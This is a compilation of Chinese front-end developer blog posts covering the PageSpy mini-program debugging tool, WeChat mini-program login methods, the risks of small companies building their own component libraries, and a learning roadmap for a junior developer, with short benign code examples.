添加了该插件之后,小程序的一切日志就会被离线的记录在内存中,之后你可以在需要的时候,调用 $pageSpy.showPanel()
方法呼出一个弹窗,就可以将刚刚记录的日志传到 PageSpy 后台:
在 PageSpy 的调试端,进入「日志回放」页面,就可以看到刚刚上传的日志:
兼容性
小程序有那么多平台,每家都有差异,PageSpy 都支持吗?
是的,PageSpy 目前支持绝大部分市面上的小程序类型:微信、支付宝、抖音、百度、mpaas... 官方给出了4个小程序平台的包:
如果是用原生框架写的小程序,目前官方针对使用量较大的微信和支付宝提供了专门的原生 SDK:
@huolala-tech/page-spy-wechat
@huolala-tech/page-spy-alipay
如今很多小程序使用的是 uniapp 或 taro 之类的跨端框架,官方也提供了相应的 SDK:
@huolala-tech/page-spy-uniapp
@huolala-tech/page-spy-taro
如果你要开发抖音、百度、钉钉之类的冷门平台小程序,只要 uniapp 或者 taro 支持,那就可以用上 PageSpy。
除此之外,uniapp 编译的原生 APP,React Native,甚至鸿蒙应用,它都支持,全平台制霸了属于是。
扩展性
插件系统
前文提到的很多功能都依赖于插件,实际上 PageSpy 的所有功能模块都是通过插件实现的,输出、网络、存储、系统这些是内置插件,不需额外配置,而远程执行代码、离线日志是可选的插件。
除此之外你还可以开发自定义的插件,PageSpy 的核心功能是在客户端和调试端之间建立了一个双向的消息通道,通过自定义插件,你可以利用这条通道做你想做的任何事情。例如观测埋点上报,远程执行指令,甚至通过它远程聊天,发送语音视频消息,也不是不可能。
插件文档:
http://www.pagespy.org/#/docs/plug…
开源贡献
最后,不要忘了 PageSpy 是个开源软件,通过插件实现不了的,还可以贡献代码:
github:github.com/HuolalaTech…
来源:juejin.cn/post/7461626575207825434
2025年微信授权登录全方案
经常做小程序的小伙伴都曾遇到过这个问题,那就是小程序授权登录,官方文档经常更新,API不时更新迭代,对于基础库版本等等,都有着既定要求。
按照以往方式再去做,发现行不通,折腾一上午,整个人沉默了,原来是官方又进行了大改......
对于小程序登录的问题,借着2025开年之际,给宝子们做一期盘点,来一期《小程序授权登录复盘全攻略》,日常做需求时,大家尽管放心食用,话不多说,直接开始正题!
拜托拜托:点赞收藏是我更新的最大动力!!!
目前为止,微信小程序登录授权,有三种方式,第一种是无感登录,第二种是手机号登录,第三种是用户信息授权登录
比较经典的就是飞猪小程序和顺丰小程序,如果你不知道怎么做,可以去看看它们的样式,一目了然
比如下面这个登录首页面,就属于经典的手机号登陆
点击快速登录,小程序会迅速调用用户的手机号授权
再放一个案例,那就是用户信息授权登录,顾名思义,该登陆主要为了获取用户信息(姓名、性别、地址、昵称等等),用于给个人中心模块做铺垫,图中人名我这边和谐掉,因为也是我前两天刚做完的业务。
至于无感登录,这里就不演示了,因为无感无感,顾名思义就是没有感觉,用户是看不出来授权的,所以直接讲方法就好!
顺便放上小程序开发文档:微信小程序官方文档
1.无感登录
首先无感登录是最简单的,步骤只有两步,第一步是前端调用官方文档API——wx.login,拿到登陆凭证code,通过wx.request()发起网络请求,随即传给后端。
第二步,后端那边利用code + appid + appsecret这三个数值,调用微信的auth.code2Session接口,拿到用户唯一标识openid 和 会话密钥session_key,随即定义token,将之与openid和session_key关联,最后再返回给前端。
前端拿到token,就很简单了,按照正常操作即可,比如拿token设置请求头、存入vuex、pinia等等,顺理成章直接写即可,大家都能明白。
总结一点:无感登录,说白了,就是拿小程序token的过程,够直白了吧!
至于有人会问,appid和appsecret是什么?看下图即可!(都在你的小程序后台里)
微信小程序开放平台:官方传送门
具体讲一下方法,顺便把代码附在下面,大家可以直接移植!
首先要注意的是,调用wx.login的时候,你的小程序基础库版本,不能低于2.3.1
可以在你的原生小程序工具查看
其次再看看wx.login的传参+返回值,重点关注success和fail,一个是成功回调,一个是失败回调
返回值是code,有时效限制,这里要注意的是,前端的appId,要和后端的appId一致。
有的人拿不同的appId去调用接口,最后会导致500报错!
代码示例:(用uniapp的,将wx.login替换为uni.login即可),example.com/onLogin 这个是事例网址,需要替换为你们后端的接口,主要用来获取token。
wx.login({
success (res) {
if (res.code) {
//发起网络请求
wx.request({
url: 'https://example.com/onLogin',
data: {
code: res.code
}
})
} else {
console.log('登录失败!' + res.errMsg)
}
}
})
2.手机号登陆
需要注意的是,个人账号,无法使用手机号登录功能,并且该功能是收费的。
标准单价每次组件调用成功,收0.03元,每个小程序账号将有1000次体验额度,该1000次的体验额度为正式版、体验版和开发版小程序共用,超额后,体验版和开发版小程序调用同正式版小程序一样,均收费。
这一要说明一点的是,相信很多人在网上都看到类似encryptedData、iv获取手机号的方法,25年为止,微信又改版了,手机号登录的流程又得到了简化。(前提是使用付费服务)
流程为:调用bindgetphonenumber,返还code,这个code是限时+一次性的,服务器只需要拿着这个code去和微信换手机号就可以了
传送门一:官方手机组件
传送门二获取手机号最新方法
`
<button open-type="getPhoneNumber" bindgetphonenumber="getPhoneNumber"></button>
`
这里要注意一点,如果你用的是uniapp,那么bindgetphonenumber需要换为@getphonenumber
还是通过wx.login拿code,然后调用这个接口,具体要和后端商量,前端的工作并不多,调用而已
参数需要这几个
与此同时,返回值手机号就来了
所以手机号登录没那么复杂,重点是需要付费,不付费的话,让用户自行输入表单,也行,看具体业务实现方式
3.用户信息授权登录
对于用户授权登录的问题,那么就绕不过wx.getUserInfo和wx.getUserProfile的历史渊源了。
早期的小程序开发,大家都是通过wx.getUserInfo拿到用户头像昵称,结果2021年4月,微信社区改版,导致getUserInfo不再有授权流程,开发者只能获取到匿名信息。
比如名字,大家都叫做“微信用户”,而头像,接口返回的都是统一灰色头像。
可这样就带来一个问题,那就是不同用户,昵称头像都一样,完全不方面管理,所以wx.getUserProfile接口应运而生!
这一有一个行为,大家要注意,wx.getUserInfo获取用户信息,不会有底部弹窗,而wx.getUserProfile则会出现下方的底部弹窗(样式看开头),根据你的需求自行选择。
再到2022年10月,微信社区又改版了,就连wx.getUserProfile这个接口,也不给开发者权限了,用户名+头像,全部变成了统一的“微信用户”+灰色头像。
所以如果你实在想获取用户信息,那么利用组件,让用户自行填写,是不错的选择。
`
getUserProfile(e) {
wx.getUserProfile({
desc: '用于完善会员资料',
success: (res) => {
this.setData({
userInfo: res.userInfo,
hasUserInfo: true
})
}
})
}
`
来源:juejin.cn/post/7457926197163687970
慎重!小公司到底该不该自己封装组件库?
前端开发与组件库
注:全文所说的小公司特指:资源不足、技术能力不足的团队
在一些小公司的项目开发中,我们可能常常听到这样的想法:
- 我们公司的需求比较特殊,用现有的组件库不够灵活,不如自己封装一套!
- 现有的组件库样式不符合我们的产品需求,我们需要统一风格和功能,不如自己开发一套组件库吧!
以前我会很天真的支持这样的想法,现在,我会给提出者一个大嘴巴子
!看似高瞻远瞩,实则全是陷阱,甚至可能成为整个团队的噩梦。
一个loading组件引起的生产事故
我先讲一个我们公司因为组件库导致的财产损失生产事故!
之前,我们业务有实现过一个表格,由于接口非常快,我们并没有增加loading
样式。
代码实现也非常简单:
<template>
<section class="table-section">
<m-table :columns="columns" :data-source="tableData">
</m-table>
</section>
</template>
<script setup>
const tableData = ref([]);
const columns = []
const getTableData = async () => {
// ...接口调用逻辑
queryManageList()
};
// 获取表格数据
getTableData();
onMounted(() => {
// 动态设置表头数据
columns = []
});
</script>
m-table
是我们公司的内部表格组件,上面的代码在生产稳定运行。随着数据的增多,接口有些慢了,于是客户希望加个loading。
我们公司的Loading组件模仿自Elemnet Plus,api的调用也非常相似
参考文档,代码的更改也就非常容易
<template>
<section class="table-section">
<m-table :columns="columns" :data-source="tableData">
</m-table>
</section>
</template>
<script setup>
const tableData = ref([]);
const columns = []
const getTableData = async () => {
loadingInstance = Loading('.table-section');
// ...接口调用逻辑
await queryManageList()
loadingInstance.destroy
};
// 获取表格数据
getTableData();
onMounted(() => {
// 动态设置表头数据
columns = []
});
</script>
代码看着严丝合缝,十分完美,然而,部署生产后,发现columns直接没了!
经过线上排查,发现loadingInstance = Loading('.table-section')
这段代码直接替换了section
标签内部的所有dom元素,造成表格的vue实例出现异常,onMounted
钩子根本没有执行!
反观Element PLUS,人家直接是在section标签下生成的遮罩层,就不会存在这个问题!
小公司开发的组件,由于开发者技术参差不齐,很容易出现线上问题啊!这种问题在我们的日常开发中非常常见,害人啊!
为什么小公司不要轻易封装组件库
通过上面的案例,可以看出:小公司的开发人员技术参差不齐,组件库的质量也就无法得到保证。
当然,技术还不是主要原因,毕竟技术是可以提升的,但下面的几个问题才是真要命的!
资源不足:人力和时间的双重消耗
封装组件库并非单纯的开发任务,它需要大量的人力和时间投入。对小公司而言,团队往往规模有限,开发资源紧张。
- 开发人员:为了封装一个组件库,原本负责业务开发的人员必须抽出精力进行组件封装工作,业务开发的进度被迫拖延。
- 时间成本:开发一个组件库不仅仅是写几个按钮或者表单,还涉及到设计体系、文档编写、单元测试、性能优化和浏览器兼容性处理等,这是一项长期工程。
就拿我们公司举例,我们一遍要写业务代码,一遍要维护组件,非常消耗时间!
就这,公司还不断地给我们加任务,把我们当牛马,直接开启996
!
加班费没有我们就忍了,996一次不够,还梅开二度
!
业务开发都没时间,还维护组件库,这不是自己坑自己么? 小公司没钱没实力,再别开发组件库了,来来回回坑自己人!
维护成本高:一时造轮子,一世修轮子
自己封装组件库容易,但长期维护它却很困难。随着项目的迭代和需求的变化,组件库也需要不断更新和优化。
- 需求增加: 业务需求多样化导致组件库功能膨胀,原本简单的组件变得复杂不堪。
- Bug 修复: 自己封装的组件库缺乏大规模使用的验证,隐藏的 Bug 往往在上线后爆发,修复工作耗费大量时间。
- 兼容性问题: 浏览器兼容、新技术支持(如 Vue 3、React 18)的适配工作更是让人头疼。
我们的组件库更新非常频繁,因为随着产品的迭代,要增加很多新功能。有时候,为了使用组件的新功能或者样式,我们不得不升级组件版本。然而,有一次升级后,组件库内部存在严重bug,导致我们原有的许多界面崩溃,造成了重大生产事故!
这种组件升级导致的页面问题时常发生,加了一个功能,导致一个隐藏bug,后续为了解决这个隐藏bug,又引入其他bug,最终一个小功能要发好几个组件版本才能解决。我已经无力吐槽,害人啊!
而且,由于组件的功能不完善,经常要花费非常多的沟通成本
技术负债:短期便利,长期拖累
自建组件库在开发初期可能感觉很“顺手”,但随着项目规模扩大,组件库的缺陷会逐渐显现,成为团队的技术负债。
- 缺乏标准化: 自建组件库的规范不够完善,不同开发者在实现同一功能时可能写出风格完全不同的代码。
- 文档不足: 由于时间和人力限制,自建组件库的文档往往不完善,后期新成员加入时难以上手。
- 升级困难: 自建组件库的每次升级都可能影响到现有业务,增加维护和测试成本。
员工离职风险:组件库成孤岛
小公司人员流动较为频繁。
如果负责组件库开发的员工离职,组件库很可能会变成“孤岛”,无人维护,直接影响到项目的可持续性。
经济形式不好,我们公司近几年也裁了不少员,导致一些组件直接没人维护了,直接影响项目进度。
所以,资金、时间不充足,咱小厂还是别学大厂维护组件库了,要钱没钱,要时间没时间,来来会会坑的都是自己!
总结
封装组件库对小公司来说是一个高风险、高成本、低收益的选择。本人建议如下:
- 优先选择成熟的开源组件库: 如 Ant Design、Element Plus 等,它们功能完善且生态丰富,能够快速适配业务需求!
- 定制而非重造: 如果开源组件库无法完全满足需求,可以在其基础上进行二次封装(各位leader注意看,组件库基本都支持样式定制的!) ,而不是从零开始构建。
- 聚焦业务: 小公司开发团队的首要任务是满足业务需求,组件库的开发应该是锦上添花,而非拖慢进度的负担。
各位Leader注意,技术的最终目的是为业务服务!别为了凸显自己牛逼,强行开发维护一个组件库,最终只会害人害,搬起石头砸自己的脚!
小公司不要让组件库拖住脚步,把资源投入到更有价值的地方,才是发展的正确道路。
注:以上所有言论只针对公司的产品、项目而言!对于个人,你怎么玩都行,玩的越花越好,毕竟以后出去都是面试的资本!
啥也不是,散会!
来源:juejin.cn/post/7440850542585266227
写给我前端同事,从事一年多应该要怎么成长的路线
写给我前端同事,从事一年多前端应该要怎么成长的路线
我知道在很多中大型公司,其实有好多领导前辈、以及师傅会给那些校招生
,以及应届生
规划一定的学习成长路线,可能还会有定期的大佬分享。有这么一个领路人、环境在其实成长是飞速的。
我入职了一家新单位,这家单位的没有太多规范,没有太多的组件封装积累,还会考核每周的代码量
,我发现有些阶段代码量(测试阶段、需求阶段等)不够的时候大家都是往项目中塞没用的代码,还有些同学会复制公共组件的代码进自己的模块充代码,技术栈使用的是vue3 + js + ant-design-vue
,一大部分人做的都是项目
。
苏洋同学
(化名)工作了2年左右,换过2家公司,第一家是个小公司也是在写一些后台管理的功能,这是他的第二家公司入职这家公司也有一年左右时间了。他逻辑,工作态度都没问题,也算是个积极上进的零零后好青年。他当前项目中的代码开发没问题,项目中多是一些业务表单,工作流之类的东西,有用户权限控制。有的时候他会请教我一些问题我俩也就从问题聊了聊技术,并且我把我的博客分享给了他,他说他有空会看看学习下。
我跟他从我的博客文章中聊了下他可能需要怎么做来获得成长,当然现在这个环境下我不能跟他说你多学一点可能工资
就会高一些,假如在3年前我一定会告诉他,你学完这些其实可以换个公司去试试一定会比你现在的要高一点。可能学习完假如被迫换工作(裁员)了,机会会大点吧
大佬请绕路,我可能给的建议并不是最好的,但是我觉得对他来说现阶段是最使用的
我知道在很多中大型公司,其实有好多领导前辈、以及师傅会给那些
校招生
,以及应届生
规划一定的学习成长路线,可能还会有定期的大佬分享。有这么一个领路人、环境在其实成长是飞速的。
我入职了一家新单位,这家单位的没有太多规范,没有太多的组件封装积累,还会考核每周的代码量
,我发现有些阶段代码量(测试阶段、需求阶段等)不够的时候大家都是往项目中塞没用的代码,还有些同学会复制公共组件的代码进自己的模块充代码,技术栈使用的是vue3 + js + ant-design-vue
,一大部分人做的都是项目
。
苏洋同学
(化名)工作了2年左右,换过2家公司,第一家是个小公司也是在写一些后台管理的功能,这是他的第二家公司入职这家公司也有一年左右时间了。他逻辑,工作态度都没问题,也算是个积极上进的零零后好青年。他当前项目中的代码开发没问题,项目中多是一些业务表单,工作流之类的东西,有用户权限控制。有的时候他会请教我一些问题我俩也就从问题聊了聊技术,并且我把我的博客分享给了他,他说他有空会看看学习下。
我跟他从我的博客文章中聊了下他可能需要怎么做来获得成长,当然现在这个环境下我不能跟他说你多学一点可能工资
就会高一些,假如在3年前我一定会告诉他,你学完这些其实可以换个公司去试试一定会比你现在的要高一点。可能学习完假如被迫换工作(裁员)了,机会会大点吧
大佬请绕路,我可能给的建议并不是最好的,但是我觉得对他来说现阶段是最使用的
针对他的成长经历规划
他的js
基础可能没那么好,像一些数据处理上是有些问题,那么我建议他:
- 重新学习下
js
针对数组
,字符串
等API,像字符串的cancat、includes、indexOf、lastIndexOf、endsWith、startsWith
等等,像数组的forEach、map、filter、reduce、find、findIndex、some、every
等等,他说他有些好像没有使用过。 学习了解用法,并且写一样的源码。例如:
'123'.endsWith('3'); // true
export const _endsWith = (source: string, target: string) => {
const len = target.length;
const substrValue = source.substr(source.length - len, len);
return substrValue === target;
};
_endsWith('123456', '56'); // true
- 对
堆
和栈
要有一定的理解,对深拷贝、浅拷贝有一定的理解。 - 对
宏任务
和微任务
以及事件执行的理解。 - 对
防抖
和节流
有一定的理解 - 对
this
有一定的理解并写出apply
、call
、bind
的实现。 - 对类型判断
instanceof
、typeof
、Object.prototype.toString.call
等方法有理解。 - 对对象方法的使用
Object.keys、Object.values、Object.entries、Object.assign
等等
- 去看下
lodash
的源码,例如:throttle、debounce、cloneDeep、groupBy、get、difference
等等一些常用的方法函数要会写源码,最好自己写一遍。
- 对正则表达式能对有一定的理解,并且写出一些常用的正则。
CSS
中对主题适配能有一定的理解,例如使用 less
和 Scss
变量做主题适配,以及使用2套样式,或者使用css全局变量做主题适配。能区分出这几种的不同点
如果能把js
的以上都能掌握了,那么你的基础算是扎实的了,差的可能就是工作经验以及深入了解一些框架的源码了。
- 这个时候可以学习下代码规范了,其实
vue
的话可以看看element ui
组件代码的规范,组件的设计以及源码具体。至少能实现message
组件以及按钮组件
- 学习下设计模式,例如:
单例模式
、策略模式
、代理模式
、发布订阅模式
等等。 - 可以多看看怎么写防御式编程,让你的代码更加健壮(这也就是为啥项目中bug多的问题,代码写的还不够严谨)
- 可以去学习下
TS
,可能不用去特别做类型体操,基本的泛型能用,例如:Array
、Record
、Partial
、Pick
、Omit
、Exclude
、Extract
等等。 - 如果你对
vue
和react
想深入研究,可以对比着使用看看它们之前的差异,有自己的认识。 webpack
的配置,对打包优化有理解,对loader和plugin有理解,对打包工具有使用过。- 了解下
npm
,对npm 发布等命令有一定的理解,并且尝试自己发布一个包。 - 对
git
提交规范有理解,并且使用。可以深入了解下git规范定义以及拦截。 - 对
nginx
有一定的了解,并且使用。因为现在好多项目都是多页应用了,nginx就显得很重要了。 echarts
是图表库,可以学习下他的那些简单图表怎么使用canvas
画出来的。
恭喜,假如你上面都能学会,我觉得你很了不起了,至少算是中级前端工程师
。
- 制定公司代码规范
eslint
, git
提交规范等等 git CI
制定工作流是很重要的,可以学习下。- ...
- ...
- ...
他的
js
基础可能没那么好,像一些数据处理上是有些问题,那么我建议他:
- 重新学习下
js
针对数组
,字符串
等API,像字符串的cancat、includes、indexOf、lastIndexOf、endsWith、startsWith
等等,像数组的forEach、map、filter、reduce、find、findIndex、some、every
等等,他说他有些好像没有使用过。 学习了解用法,并且写一样的源码。例如:
'123'.endsWith('3'); // true
export const _endsWith = (source: string, target: string) => {
const len = target.length;
const substrValue = source.substr(source.length - len, len);
return substrValue === target;
};
_endsWith('123456', '56'); // true
堆
和栈
要有一定的理解,对深拷贝、浅拷贝有一定的理解。宏任务
和微任务
以及事件执行的理解。防抖
和节流
有一定的理解this
有一定的理解并写出apply
、call
、bind
的实现。instanceof
、typeof
、Object.prototype.toString.call
等方法有理解。Object.keys、Object.values、Object.entries、Object.assign
等等lodash
的源码,例如:throttle、debounce、cloneDeep、groupBy、get、difference
等等一些常用的方法函数要会写源码,最好自己写一遍。CSS
中对主题适配能有一定的理解,例如使用 less
和 Scss
变量做主题适配,以及使用2套样式,或者使用css全局变量做主题适配。能区分出这几种的不同点如果能把js
的以上都能掌握了,那么你的基础算是扎实的了,差的可能就是工作经验以及深入了解一些框架的源码了。
vue
的话可以看看element ui
组件代码的规范,组件的设计以及源码具体。至少能实现message
组件以及按钮组件
单例模式
、策略模式
、代理模式
、发布订阅模式
等等。TS
,可能不用去特别做类型体操,基本的泛型能用,例如:Array
、Record
、Partial
、Pick
、Omit
、Exclude
、Extract
等等。vue
和react
想深入研究,可以对比着使用看看它们之前的差异,有自己的认识。webpack
的配置,对打包优化有理解,对loader和plugin有理解,对打包工具有使用过。npm
,对npm 发布等命令有一定的理解,并且尝试自己发布一个包。git
提交规范有理解,并且使用。可以深入了解下git规范定义以及拦截。nginx
有一定的了解,并且使用。因为现在好多项目都是多页应用了,nginx就显得很重要了。echarts
是图表库,可以学习下他的那些简单图表怎么使用canvas
画出来的。恭喜,假如你上面都能学会,我觉得你很了不起了,至少算是中级前端工程师
。
eslint
, git
提交规范等等git CI
制定工作流是很重要的,可以学习下。结语
其实如果从事这个行业,可以把上面当作一个学习清单,然后按照顺序学习,这些都是必须且要学会的。然后把学习到的东西都记录下来。多总结,多思考,
作者:三原
来源:juejin.cn/post/7448899248475684899
其实如果从事这个行业,可以把上面当作一个学习清单,然后按照顺序学习,这些都是必须且要学会的。然后把学习到的东西都记录下来。多总结,多思考,
来源:juejin.cn/post/7448899248475684899